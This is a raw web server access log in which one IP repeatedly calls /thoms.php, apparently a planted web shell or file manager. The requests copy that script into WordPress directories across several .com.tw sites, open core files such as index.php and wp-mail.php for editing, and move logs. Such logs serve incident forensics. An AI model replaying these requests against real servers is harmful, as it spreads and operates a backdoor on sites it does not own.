45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12536 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17391 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:56 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21155 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17522 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13338 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19385 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17704 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flicense.txt&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?edit=index.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?edit=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22207 "https://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?edit=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?edit=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?edit=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22273 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22208 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22181 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22277 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fthoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?edit=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=error_log&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22314 "https://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17508 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:59 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=error_log&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17508 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
